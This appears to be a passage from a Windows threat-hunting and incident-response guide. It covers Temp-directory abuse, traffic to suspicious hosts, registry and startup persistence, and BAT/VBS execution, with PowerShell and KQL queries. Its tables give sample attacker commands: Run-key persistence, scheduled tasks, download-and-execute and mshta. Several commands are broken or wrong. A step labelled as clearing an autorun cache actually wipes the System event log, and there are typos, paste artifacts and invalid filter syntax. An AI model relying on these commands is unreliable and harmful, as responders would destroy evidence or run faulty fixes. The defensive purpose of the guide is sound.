#### 3️⃣ **Analyze Process Relationships:**

Identify parent/child relationships of processes from Temp:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ExecutablePath -like "*\Temp\*" } | Select-Object Name, ParentProcessId, ExecutablePath
```

#### 4️⃣ **Network Traffic Inspection:**

* Check outbound connections made by suspicious Temp files using:

```cmd
netstat -ano | findstr :443
```

#### 5️⃣ **Registry Inspection:**

Check for references to Temp in startup entries:

```powershell
Get-ChildItem -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Where-Object { $_.Name -like "*\Temp\*" }
```

***

### 🔧 **5. Remediation Steps**

#### 📌 **Isolate the Affected System:**

* Disconnect the machine from the network immediately.

#### 📌 **Terminate Suspicious Processes:**

```powershell
Stop-Process -Name "malware.exe" -Force
```

#### 📌 **Quarantine Suspicious Files:**

```powershell
Move-Item -Path "C:\Users\<User>\AppData\Local\Temp\malware.exe" -Destination "C:\Quarantine"
```

#### 📌 **Clear Temp Directory (With Caution):**

```powershell
Remove-Item "$env:TEMP\*" -Recurse -Force
```

#### 📌 **Registry Cleanup:**

Remove registry entries pointing to malicious files:

```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "malware"
```

#### 📌 **Perform Full Antivirus Scan:**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **6. Prevention Steps**

1. **Restrict Execution from Temp Directory:**
   * Use **AppLocker** or **WDAC** policies to block executable files in Temp.
2. **Enable Attack Surface Reduction (ASR) Rules:**

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```

3. **Regularly Clear Temp Directories:**
   * Automate cleanup using scheduled tasks.
4. **Enable Logging for Script Block and Process Execution:**
   * Ensure **PowerShell Script Block Logging** is enabled.
5. **Monitor Suspicious Network Traffic:**
   * Enable alerts for outbound connections from Temp-based processes.

***

### 🧠 **7. Key Takeaways**

* **Temp Abuse is Common:** Attackers favor Temp directories for dropping payloads and initiating communications.
* **Monitor Execution:** Processes running from `C:\Temp` or `C:\Users\<User>\AppData\Local\Temp` are suspicious.
* **Network Traffic:** Outbound connections from Temp files are strong indicators of malicious activity.
* **Regular Auditing:** Regularly review Temp directories and enable process execution alerts.-----------

\-------------

### 🚨 **Communication to Suspicious Hosting Services: Threat Analysis**

#### 🔍 **1. Attack Breakdown**

Attackers often use **suspicious hosting services** for:

* **Command and Control (C2):** Controlling infected machines remotely.
* **Data Exfiltration:** Stealing sensitive data.
* **Payload Delivery:** Downloading additional malicious tools or updates.
* **Phishing Infrastructure:** Hosting fake login pages or credential harvesters.

These services are typically hosted on:

* **Dynamic DNS Domains (e.g., duckdns.org, no-ip.org)**
* **Anonymous Cloud Services (e.g., pastebin.com, Google Drive links)**
* **Recently Registered Domains**
* **Free Hosting Providers**

***

#### 📑 **2. Common Indicators of Suspicious Communication**

| **Indicator**               | **Description**                                         |
| --------------------------- | ------------------------------------------------------- |
| **IP Reputation:**          | IPs listed in threat intelligence feeds.                |
| **Domain Age:**             | Recently registered domains.                            |
| **Unusual Ports:**          | Non-standard ports (e.g., 8080, 4444).                  |
| **SSL/TLS Certificate:**    | Self-signed certificates or mismatched domains.         |
| **Communication Patterns:** | Beaconing intervals, irregular traffic spikes.          |
| **File Downloads:**         | Downloading suspicious `.exe`, `.ps1`, or `.bat` files. |

***

#### 📌 **3. Detection Techniques**

**📊 PowerShell Detection:**

**Check Active Network Connections:**

```powershell
Get-NetTCPConnection | Where-Object { $_.RemoteAddress -notlike "192.168.*" -and $_.RemoteAddress -notlike "10.*" } | Format-Table LocalAddress, RemoteAddress, RemotePort, State, OwningProcess
```

**Resolve Suspicious IP Addresses:**

```powershell
Resolve-DnsName -Name <suspicious_domain>
```

**Identify Processes Using Suspicious Connections:**

```powershell
Get-Process -Id (Get-NetTCPConnection | Where-Object { $_.RemoteAddress -like "*.*.*.*" }).OwningProcess
```

***

**📊 Microsoft Defender for Endpoint (MDE) Query (KQL):**

**Detect Connections to Known Malicious Domains/IPs:**

```kusto
DeviceNetworkEvents
| where RemoteIP in ("1.2.3.4", "5.6.7.8") or RemoteUrl matches regex ".*(example\.com|suspicious\.net).*"
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName
```

**Identify Beaconing Patterns (Regular Communication Intervals):**

```kusto
DeviceNetworkEvents
| summarize Count=count() by RemoteIP, bin(Timestamp, 1h)
| where Count > 10
| project RemoteIP, Count
```

**Identify Unusual Ports:**

```kusto
DeviceNetworkEvents
| where RemotePort in (8080, 8443, 4444, 53)
| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName
```

**SSL Certificate Anomalies:**

```kusto
DeviceNetworkEvents
| where RemoteUrl startswith "https"
| where RemoteUrl contains "self-signed"
| project Timestamp, DeviceName, RemoteUrl, InitiatingProcessFileName
```

***

#### 📊 **Event Viewer Logs:**

1. **Event ID 4688:** Process Creation (Look for commands with `curl`, `wget`, or encoded PowerShell commands).
2. **Event ID 5156:** Allowed Connection (Monitor outbound network connections).
3. **Event ID 4104:** Script Block Logging (PowerShell Script Activity).

***

### 🕵️ **4. Investigation Techniques**

#### 1️⃣ **Identify Initiating Processes:**

* Identify which processes initiated outbound communication.

```powershell
Get-Process -Id (Get-NetTCPConnection | Where-Object { $_.RemoteAddress -eq "<suspicious_IP>" }).OwningProcess
```

#### 2️⃣ **Inspect Command Lines:**

* Check how the connection was initiated.

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -like "*http*" }
```

#### 3️⃣ **Check DNS Requests:**

* Analyze DNS cache for suspicious domains.

```powershell
Get-DnsClientCache | Where-Object { $_.Name -like "*suspicious*" }
```

#### 4️⃣ **Analyze Traffic Patterns:**

* Look for regular intervals (`beaconing`) to specific IPs or domains.

#### 5️⃣ **Check Process Persistence:**

* Ensure the initiating process isn't set to restart automatically.

***

### 🔧 **5. Remediation Steps**

#### 📌 **Immediate Actions:**

1. **Isolate the System:**

```powershell
Disconnect-NetAdapter -Name "Ethernet" -Confirm:$false
```

2. **Block Suspicious Domains and IPs in Firewall:**

```powershell
New-NetFirewallRule -DisplayName "Block Suspicious IP" -Direction Outbound -RemoteAddress "1.2.3.4" -Action Block
```

3. **Terminate Suspicious Processes:**

```powershell
Stop-Process -Id <PID> -Force
```

4. **Remove Malicious Scheduled Tasks:**

```powershell
pGet-ScheduledTask | Where-Object { $_.TaskPath -like "*suspicious*" } | Disable-ScheduledTask
```

5. **Clear DNS Cache:**

```powershell
Clear-DnsClientCache
```

***

#### 📌 **Perform Full Antivirus Scan:**

```powershell
Start-MpScan -ScanType FullScan
```

#### 📌 **Investigate Files Downloaded from the Remote Server:**

* Check temp folders and known drop locations.

***

### 🛡️ **6. Prevention Steps**

1. **Enable Network Protection in Windows Defender:**

```powershell
Set-MpPreference -EnableNetworkProtection Enabled
```

2. **Block Unnecessary Ports (e.g., 8080, 4444):**

* Configure Windows Firewall to block uncommon outbound ports.

3. **Use Web Filtering Policies:**

* Block access to known malicious domains and dynamic DNS providers.

4. **Enable Attack Surface Reduction (ASR) Rules:**

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```

5. **Audit and Monitor DNS Queries:**

* Implement DNS filtering with tools like **OpenDNS** or **Pi-hole**.

6. **Educate Users:**

* Warn about phishing emails and malicious links.

***

### 🧠 **7. Key Takeaways**

* **Indicators to Watch:** Unknown IPs, non-standard ports, beaconing patterns.
* **High-Risk Processes:** `powershell.exe`, `cmd.exe`, `curl.exe`, `wget.exe`.
* **Regular Monitoring:** Monitor DNS requests and firewall logs.
* **Quick Action:** Isolate infected hosts and block outbound communication

### ---------------

## 🚨 **Interacting with the Windows Registry: Threat Analysis**

### 🔍 **1. Attack Breakdown**

The **Windows Registry** is a hierarchical database used by the Windows operating system to store configuration settings, system options, and application data. Attackers often interact with the registry to:

* **Achieve Persistence:** Add keys for startup execution.
* **Disable Security Features:** Turn off Windows Defender or Firewall.
* **Store Malicious Payloads:** Hide payloads in registry keys.
* **Exfiltrate Data:** Encode and hide stolen data.
* **Modify System Behavior:** Disable logging or restrict user privileges.

#### 🛡️ **Common Malicious Actions in the Registry**

| **Technique**                | **Registry Path Example**                                                  | **Description**                                 |
| ---------------------------- | -------------------------------------------------------------------------- | ----------------------------------------------- |
| **Persistence via Run Key**  | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`                       | Executes malicious payloads at user login.      |
| **Disable Windows Defender** | `HKLM\Software\Microsoft\Windows Defender\DisableAntiSpyware`              | Turns off Windows Defender.                     |
| **Enable RDP Access**        | `HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections` | Enables Remote Desktop access.                  |
| **Change Shell Settings**    | `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell`         | Changes default shell for persistence.          |
| **Hidden Payload Storage**   | `HKCU\Software\AppData\HiddenKey`                                          | Hides encoded malware payloads in the registry. |

***

### 📑 **2. Common Commands for Registry Interaction**

#### 📝 **Using `reg.exe` Command-Line Tool**

| **Action**              | **Command Example**                                                     | **Description**                             |
| ----------------------- | ----------------------------------------------------------------------- | ------------------------------------------- |
| **Add a Key/Value**     | `reg add "HKCU\Software\MyApp" /v Payload /t REG_SZ /d "malicious.exe"` | Adds a registry key with malicious payload. |
| **Delete a Key/Value**  | `reg delete "HKCU\Software\MyApp" /v Payload /f`                        | Deletes a specific registry key or value.   |
| **Query a Key**         | `reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"`        | Lists all entries in the Run key.           |
| **Export Registry Key** | `reg export HKCU\Software\MyApp C:\backup.reg`                          | Exports a key to a `.reg` file.             |
| **Import Registry Key** | `reg import C:\backup.reg`                                              | Imports registry keys from a file.          |

***

#### 📝 **Using PowerShell for Registry Interaction**

| **Action**                      | **Command Example**                                                                                         | **Description**                 |
| ------------------------------- | ----------------------------------------------------------------------------------------------------------- | ------------------------------- |
| **Add a Key/Value**             | `New-ItemProperty -Path "HKCU:\Software\MyApp" -Name "Payload" -Value "malicious.exe" -PropertyType String` | Adds a malicious entry.         |
| **Remove a Key/Value**          | `Remove-ItemProperty -Path "HKCU:\Software\MyApp" -Name "Payload"`                                          | Removes an entry.               |
| **List Key/Values**             | `Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"`                              | Lists values in a specific key. |
| **Search for Specific Strings** | \`Get-ChildItem -Path "HKCU:" -Recurse                                                                      | Select-String "malicious"\`     |

***

### 🛡️ **3. Detection Techniques**

#### 📊 **Manual Inspection**

**1️⃣ Check for Startup Persistence:**

```powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
```

**2️⃣ List Recently Modified Registry Keys:**

```powershell
Get-ChildItem -Path "HKCU:\Software" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }
```

**3️⃣ Check for Disabled Security Settings:**

```powershell
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender" | Select-Object DisableAntiSpyware
```

**4️⃣ Identify Suspicious Scheduled Tasks via Registry:**

```powershell
Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks"
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Registry Modifications:**

```kusto
kqlCopy codeDeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKey contains "Run" or RegistryKey contains "Winlogon"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, AccountName
```

**🕵️ Monitor Disabled Security Settings:**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "Windows Defender"
| where RegistryValueName == "DisableAntiSpyware" and RegistryValueData == "1"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData
```

**🕵️ Detect Registry-Based Persistence:**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "Run" or RegistryKey contains "Winlogon"
| where RegistryValueData contains ".exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

***

### 🕵️ **4. Investigation Techniques**

#### 1️⃣ **Check Registry Backups:**

* Restore suspicious keys from a **registry backup** (`C:\Windows\System32\config\RegBack`).

#### 2️⃣ **Validate File Paths in Registry:**

* Ensure that files referenced in the registry exist and match their expected hash.

```powershell
Get-FileHash "C:\Path\To\File.exe"
```

#### 3️⃣ **Correlate Registry Activity with Process Logs:**

* Look for processes (`cmd.exe`, `powershell.exe`) making registry modifications.

#### 4️⃣ **Audit Registry Changes via Event Logs:**

* **Event ID 4657:** Registry Value Modification.

***

### 🔧 **5. Remediation Steps**

#### 📌 **Identify and Remove Malicious Keys**

```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MaliciousKey"
```

#### 📌 **Revert Registry Changes:**

* Restore registry from backups if heavily compromised.

#### 📌 **Terminate Related Processes:**

```powershell
Stop-Process -Id <Suspicious_Process_ID> -Force
```

#### 📌 **Perform Full Antivirus Scan:**

```powershell
Start-MpScan -ScanType FullScan
```

#### 📌 **Review Group Policy Settings:**

* Ensure unauthorized registry changes are restricted.

***

### 🛡️ **6. Prevention Steps**

1. **Enable Registry Auditing:**
   * Use Group Policy → `Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Object Access → Audit Registry`.
2. **Enable Tamper Protection:**

```powershell
Set-MpPreference -DisableTamperProtection $false
```

3. **Limit Administrative Access:**
   * Restrict access to sensitive registry keys.
4. **Implement Application Whitelisting (WDAC/AppLocker):**
   * Block unauthorized binaries.
5. **Monitor Registry Activity:**
   * Ensure real-time monitoring for critical keys.
6. **Regular Backups:**
   * Maintain regular registry backups.

***

### 🧠 **7. Key Takeaways**

* **Startup Keys:** `Run`, `RunOnce`, `Winlogon` are common persistence targets.
* **Security Settings:** Monitor `Windows Defender` and Firewall registry keys.
* **File Paths:** Validate file paths referenced in registry keys.
* **Auditing:** Enable logging for `Event ID 4657`.

***

## 🚨 **Startup Registry: Threat Analysis**

### 🔍 **1. Attack Breakdown**

The **Windows Startup Registry** contains entries that specify which programs should automatically start when a user logs in or the system boots up. While legitimate software often uses this mechanism, attackers abuse it to ensure their malware or scripts **persist across reboots**.

***

#### 📑 **Common Startup Registry Keys**

| **Key Path**                                                       | **Scope** | **Purpose**                                           |
| ------------------------------------------------------------------ | --------- | ----------------------------------------------------- |
| `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`               | User      | Starts programs for the current user at login.        |
| `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`               | System    | Starts programs for all users at system boot.         |
| `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`           | User      | Runs the program **only once** at user login.         |
| `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`           | System    | Runs the program **only once** at system startup.     |
| `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell` | System    | Replaces the default shell with a malicious program.  |
| `HKLM\SYSTEM\CurrentControlSet\Services`                           | System    | Creates malicious services for startup.               |
| `HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components`        | System    | Executes malicious code during user profile creation. |

***

#### 📌 **Suspicious Indicators in Startup Registry**

1. **Non-Standard File Paths:**
   * `C:\Temp\malware.exe`
   * `C:\Users\Public\script.ps1`
2. **Unusual Processes:**
   * References to `cmd.exe`, `powershell.exe`, or encoded commands.
3. **Obfuscated Strings:**
   * Base64-encoded scripts.
   * Escaped characters (`^`, `` ` ``).
4. **Misspellings or Typos:**
   * `expllrer.exe` instead of `explorer.exe`.
5. **New or Recently Modified Entries:**
   * Check timestamps for recently added or modified entries.

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Detection via PowerShell**

**🕵️ Check User-Specific Startup Entries:**

```powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
```

**🕵️ Check System-Wide Startup Entries:**

```powershell
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
```

**🕵️ Check Winlogon Shell:**

```powershell
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | Select-Object Shell
```

**🕵️ Check Startup Services:**

```powershell
Get-WmiObject Win32_Service | Where-Object { $_.StartMode -eq "Auto" } | Select-Object Name, PathName
```

**🕵️ Identify Recently Modified Entries:**

```powershell
Get-ChildItem -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Registry Startup Modifications:**

```kusto
DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKey contains "Run" or RegistryKey contains "Winlogon"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, AccountName
```

**🕵️ Detect Encoded Commands in Startup Entries:**

```kusto
DeviceRegistryEvents
| where RegistryValueData contains "-enc" or RegistryValueData contains "powershell.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

**🕵️ Detect Non-Standard Paths in Startup Keys:**

```kusto
DeviceRegistryEvents
| where RegistryValueData contains "Temp" or RegistryValueData contains "AppData"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

**🕵️ Check Startup Persistence via Winlogon:**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "Winlogon"
| where RegistryValueData !contains "explorer.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Validate File Paths in Registry Entries:**

```powershell
Test-Path "C:\Path\To\File.exe"
```

#### 2️⃣ **Check File Hashes:**

```powershell
Get-FileHash "C:\Path\To\File.exe"
```

#### 3️⃣ **Correlate with Process Execution Logs (Event ID 4688):**

* Look for processes launched from the paths specified in registry keys.

#### 4️⃣ **Verify Recent Changes:**

Check timestamps for registry changes:

```powershell
(Get-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run").LastWriteTime
```

#### 5️⃣ **Review File Contents (If Scripts Are Referenced):**

```powershell
Get-Content "C:\Path\To\SuspiciousScript.ps1"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Identify and Remove Malicious Registry Entries**

**Remove Startup Key (PowerShell):**

```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "SuspiciousEntry"
Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "SuspiciousEntry"
```

#### 📌 **2. Disable Malicious Services:**

```powershell
Stop-Service -Name "SuspiciousService" -Force
Set-Service -Name "SuspiciousService" -StartupType Disabled
```

#### 📌 **3. Quarantine Malicious Files:**

```powershell
Move-Item -Path "C:\Path\To\File.exe" -Destination "C:\Quarantine"
```

#### 📌 **4. Perform Full Antivirus Scan:**

```powershell
Start-MpScan -ScanType FullScan
```

#### 📌 **5. Clear AutorunCache:**

```powershell
Clear-EventLog -LogName "System"
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Registry Auditing:**
   * Enable **Audit Object Access** for critical registry keys.
2. **Enable Windows Defender Tamper Protection:**

```powershell
Set-MpPreference -DisableTamperProtection $false
```

3. **Enable Attack Surface Reduction (ASR) Rules:**

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```

4. **Monitor Registry Changes:**
   * Use **SIEM tools** to monitor suspicious registry changes in real-time.
5. **Restrict Permissions on Startup Keys:**
   * Ensure only **Administrators** have write permissions to these registry keys.
6. **Educate Users:**
   * Train users to identify phishing emails and avoid downloading untrusted software.

***

### 🧠 **6. Key Takeaways**

* **Startup Registry Keys:** Common persistence points for attackers.
* **Monitor Key Paths:** `Run`, `RunOnce`, `Winlogon`.
* **Look for Non-Standard Paths:** Files in `Temp` or `AppData` directories.
* **Audit Regularly:** Regularly review registry changes and validate file paths.

## 🚨 **Detect BAT/VBS Script Execution: Threat Analysis**

### 🔍 **1. Attack Breakdown**

**Batch (BAT)** and **VBScript (VBS)** files are commonly used for:

* **System Administration Tasks:** Legitimate scripts for automation.
* **Malware Delivery:** Dropping or executing malicious payloads.
* **Persistence:** Adding tasks or registry entries to ensure execution on startup.
* **Lateral Movement:** Automating commands across multiple systems.

#### 📑 **Common Malicious Scenarios:**

| **Technique**          | **Description**                            | **Example Command**                                                  |
| ---------------------- | ------------------------------------------ | -------------------------------------------------------------------- |
| **Persistence**        | Add script execution to `Run` registry key | `reg add HKCU\...Run /v script /d "C:\temp\evil.vbs"`                |
| **Scheduled Task**     | Execute BAT/VBS via Task Scheduler         | `schtasks /create /tn "Update" /tr "C:\temp\evil.bat"`               |
| **Encoded Script**     | Use encoded commands to evade detection    | `cscript.exe //E:VBScript //B C:\temp\script.vbs`                    |
| **Download & Execute** | Download and run payloads                  | `powershell -Command (New-Object System.Net.WebClient).DownloadFile` |
| **Fileless Execution** | Execute in memory without dropping files   | `mshta.exe javascript:..`                                            |

***

### 📑 **2. Common BAT/VBS Execution Paths**

* `cmd.exe /c C:\Path\script.bat`
* `cscript.exe C:\Path\script.vbs`
* `wscript.exe C:\Path\script.vbs`
* `explorer.exe C:\Path\script.bat`
* `powershell.exe -File C:\Path\script.ps1`

#### 📌 **Indicators of Malicious BAT/VBS Scripts**

1. **Execution from Suspicious Paths:**
   * `C:\Temp\`
   * `C:\Users\Public\`
   * `C:\Windows\Temp\`
2. **Encoded or Obfuscated Commands:**
   * Base64 Encoded payloads
   * Unusual escape characters (`^`, `` ` ``)
3. **Unusual Parent Processes:**
   * `explorer.exe` → `cmd.exe` → `script.bat`
   * `outlook.exe` → `wscript.exe`
4. **Network Connections:**
   * HTTP/HTTPS requests initiated by `wscript.exe` or `cmd.exe`

***

### 🛡️ **3. Detection Techniques**

#### 📊 **Manual Detection**

**🕵️ Check Running BAT/VBS Scripts:**

```powershell
Get-Process | Where-Object { $_.Path -like "*.bat" -or $_.Path -like "*.vbs" }
```

**🕵️ Check Recently Created BAT/VBS Files:**

```powershell
Get-ChildItem -Path "C:\Windows\Temp" -Recurse -Filter "*.bat" -or "*.vbs" | Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-7) }
```

**🕵️ Check Parent-Child Process Chains:**

```powershell
Get-WmiObject Win32_Process | Where-Object { $_.ParentProcessId -ne 0 } | Where-Object { $_.Name -in ("cmd.exe", "wscript.exe", "cscript.exe") }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect BAT/VBS Execution:**

```kusto
DeviceProcessEvents
| where FileName endswith ".bat" or FileName endswith ".vbs"
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, AccountName
```

**🕵️ Detect Encoded or Obfuscated BAT/VBS Execution:**

```kusto
DeviceProcessEvents
| where FileName endswith ".bat" or FileName endswith ".vbs"
| where ProcessCommandLine contains "cmd.exe" or ProcessCommandLine contains "cscript.exe"
| where ProcessCommandLine matches regex "(?i)-enc|base64|powershell"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName
```

**🕵️ Identify BAT/VBS Network Connections:**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName endswith ".bat" or InitiatingProcessFileName endswith ".vbs"
| project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl, InitiatingProcessCommandLine
```

**🕵️ Look for Registry Persistence via BAT/VBS:**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "Run"
| where RegistryValueData contains ".bat" or RegistryValueData contains ".vbs"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

***

### 🕵️ **4. Investigation Techniques**

#### 1️⃣ **Inspect the Script Content:**

* Open the script in Notepad or a code editor to review the content:

```powershell
Get-Content -Path "C:\Temp\malicious.bat"
```

#### 2️⃣ **Check Script Metadata:**

* Verify creation and modification timestamps:

```powershell
Get-Item "C:\Temp\malicious.bat" | Select-Object Name, CreationTime, LastWriteTime
```

#### 3️⃣ **Trace Network Connections:**

* Identify any outbound network connections from the script:

```powershell
Get-NetTCPConnection | Where-Object { $_.OwningProcess -eq <Script_PID> }
```

#### 4️⃣ **Correlate with Parent Process:**

* Identify the parent process that launched the script:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ProcessId -eq <Script_PID> } | Select-Object ParentProcessId
```

#### 5️⃣ **Check Persistence Mechanisms:**

* Verify if the script is referenced in registry startup entries:

```powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
```

***

### 🔧 **5. Remediation Steps**

#### 📌 **Terminate Malicious Scripts:**

```powershell
Stop-Process -Name "cmd" -Force
Stop-Process -Name "wscript" -Force
```

#### 📌 **Quarantine Suspicious Scripts:**

```powershell
Move-Item -Path "C:\Temp\malicious.bat" -Destination "C:\Quarantine"
```

#### 📌 **Remove Registry Persistence:**

```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "malicious"
```

#### 📌 **Block Outbound Traffic from Suspicious Scripts:**

```powershell
New-NetFirewallRule -DisplayName "Block Suspicious BAT/VBS Traffic" -Direction Outbound -RemoteAddress "Suspicious IP" -Action Block
```

#### 📌 **Perform Full Security Scan:**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **6. Prevention Steps**

1. **Enable Script Block Logging:**

```powershell
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1
```

2. **Restrict Script Execution Policies:**

```powershell
Set-ExecutionPolicy Restricted -Force
```

3. **Monitor Temporary Folders:**

* Block execution of `.bat` or `.vbs` scripts from `C:\Temp`, `C:\Windows\Temp`.

4. **Application Whitelisting (WDAC/AppLocker):**

* Create policies to block unauthorized script execution.

5. **Educate Users:**

* Warn users about opening email attachments or untrusted files.

***

### 🧠 **7. Key Takeaways**

* **Monitor BAT/VBS Execution:** Track script execution paths and processes.
* **Look for Network Activity:** Scripts communicating with external servers are highly suspicious.
* **Focus on Persistence:** Registry entries referencing BAT/VBS scripts require immediate review.
* **Use Event Logs & KQL Queries:** Correlate script execution with network and file activity.

***

## 🚨 **Process Creating TXT/JSON/DB Files Inside Temp/AppData Directories: Threat Analysis**

### 🔍 **1. Attack Breakdown**

**Temp (`C:\Windows\Temp`, `C:\Users\<User>\AppData\Local\Temp`)** and **AppData (`C:\Users\<User>\AppData`)** directories are commonly used by both **legitimate software** and **malware** for temporary storage. Attackers often abuse these directories because:

* They have **write permissions** for standard users.
* They are **less monitored** by security tools.
* Files in these directories are often **ignored** during routine audits.

#### 📑 **Common Malicious Activities Involving TXT/JSON/DB Files:**

| **File Type**  | **Purpose**                                                 | **Example Use Case**           |
| -------------- | ----------------------------------------------------------- | ------------------------------ |
| **TXT Files**  | Store plaintext configuration, stolen credentials, or logs  | `config.txt`, `dump.txt`       |
| **JSON Files** | Structured storage of stolen data or configurations         | `settings.json`, `config.json` |
| **DB Files**   | SQLite or flat-file databases for storing large stolen data | `cache.db`, `user_data.db`     |

***

#### 📌 **2. Common Suspicious Indicators**

1. **Non-Standard Process:** Processes like `cmd.exe`, `powershell.exe`, or suspicious binaries creating TXT/JSON/DB files.
2. **Frequent Modifications:** Files are constantly updated or appended.
3. **Large File Size:** Unexpectedly large `.txt`, `.json`, or `.db` files.
4. **Encoded/Obfuscated Content:** Base64 encoded text or binary blobs.
5. **Network Activity:** Files are created and then immediately exfiltrated.
6. **Unusual File Names:** Random strings (`abcd1234.txt`) or system-like names (`system.log`).

***

### 🛡️ **3. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ List Recent TXT/JSON/DB Files in Temp and AppData**

```powershell
Get-ChildItem -Path "C:\Users\*\AppData\Local\Temp" -Recurse -Include *.txt, *.json, *.db |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-24) }
```

**🕵️ Identify Processes Accessing These Files**

```powershell
Get-Process | Where-Object { $_.Path -like "*\Temp\*" -or $_.Path -like "*\AppData\*" }
```

**🕵️ Monitor File Write Activity in Real-Time**

```powershell
Get-EventLog -LogName Security -InstanceId 4663 | Where-Object { $_.Message -like "*Temp*" -or $_.Message -like "*AppData*" }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Processes Creating TXT/JSON/DB Files**

```kusto
DeviceFileEvents
| where FolderPath contains "\\Temp\\" or FolderPath contains "\\AppData\\"
| where FileName endswith ".txt" or FileName endswith ".json" or FileName endswith ".db"
| project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName
```

**🕵️ Detect Files Created by Suspicious Processes**

```kusto
DeviceFileEvents
| where FolderPath contains "\\Temp\\" or FolderPath contains "\\AppData\\"
| where InitiatingProcessFileName in~ ("cmd.exe", "powershell.exe", "cscript.exe", "wscript.exe", "mshta.exe")
| project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessFileName, ProcessCommandLine
```

